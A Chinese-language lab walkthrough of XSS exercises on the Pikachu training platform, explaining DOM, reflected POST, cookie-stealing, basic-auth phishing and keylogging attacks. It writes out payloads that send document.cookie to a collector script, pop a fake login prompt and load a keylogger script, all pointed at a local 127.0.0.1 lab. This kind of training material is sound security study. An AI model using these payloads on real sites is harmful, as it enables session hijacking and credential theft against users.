1.dom型XSS详解及演示
一、什么是DOM?怎么理解DOM?
DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。
二、dom型XSS详解及演示
首先DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document
object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用
(从别人那儿扣来的解释,附上原文章连接https://www.jianshu.com/p/190dedd585f2)
在pikachu平台下dom型xss栏目中,随意输入后,到后台来查看源代码,找出可注入点是"<a href='"+str+"'>what do you see?</a>";
通过修改输出来改写一个payload。
将
<a href='"+str+"'>what do you see?</a>
中str这个变量删除掉,再构造一个闭合,这样就能实现对a标签的一个“控制”的作用。在代码行呈现为
输入payload
#' "alert('你打篮球像yangshuang')"
提交,点击what do you see?能看到返回结果,但是刷新一次过后就会消息,区别于反射型和存储型是不与后台进行交互的。此处仅仅是演示DOM型的基本原理。
点击dom型XSS-X栏目,同之前的步骤,查看后端的源代码,区别第一个DOM演示,输入是从URL的参数中获取的(类似于反射型),但输出任在a标签里,故和之前的方法相同设置payload
输入后提交,依次点击返回如下。由于输入是从URL的参数中获取,同反射性原理相似,只需要将连接发送给要攻击的用户,写在URL中的JS代码就被会插入到用户的页面中。
2.cookie获取及xss后台使用
一个简单思路:
到pikachu平台下管理工具,进去初始化平台,更具提示到相应的文件中进行配置。输入设置的payload :<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
回到攻击平台就能获得相应的数据。
得到的refer在发送给攻击目标,攻击目标在点击URL连接就会弹到重定向的页面去,攻击者就能获得被攻击目标的cookie
3.反射型XSS(POST)
POST请求区别与GET请求,POST请求不能从URL让用户向服务器提交数据。所以为了进行注入,需要让用户代替攻击者提交POST请求,这就需要攻击者自己搭建站点,然后再站点内写一个POST表单,将我们搭建出的连接发给用户,这样就能让用户帮攻击者提交POST请求发给存在XSS漏洞的中。这样就能窃取到用户的cookie,就能伪造用户登陆达到破坏的目的。
先看一下提前写好的表单,form表单中action就是提交存在漏洞的网页的地址,input中value的值就是我们输入的恶意代码。伪造好的连接:127.0.0.1/pikachu/pkxss/xcookie/post.html
等待页面的返回,就能回到平台上查看到抓到的cookie
4.xss钓鱼演示
类似于获取cookie的方法,我们向web中嵌入一个恶意的JS代码,当用户浏览这个网页时,就会执行嵌入的恶意代码,从而达到攻击用户的目的。
演示一个基于basic认证的钓鱼演示,先看远端设置好的php文件,和接口的php文件,将重定向的位置设置为xss平台的一个接口php文件的地址。
输入我们写好的JS恶意代码:<img src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"/>
点击提交就会弹窗,输入用户名和密码后,就能在xss平台上查看截取的数据。
5.xss获取键盘记录演示
一、什么是跨域
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同域之间请求数据的操作,称为跨域操作。
二、同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象
那么为什么要有同源策略? 比如一个恶意网站的页面通过iframe嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
同之前的案例到后台设置好Access-Control-Allow-Origin
,设置为*,既允许所有人访问。,输入设置好的恶意JS代码:
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
然后在键盘上随意输入,就可以到xss平台上去查看键盘输入的结果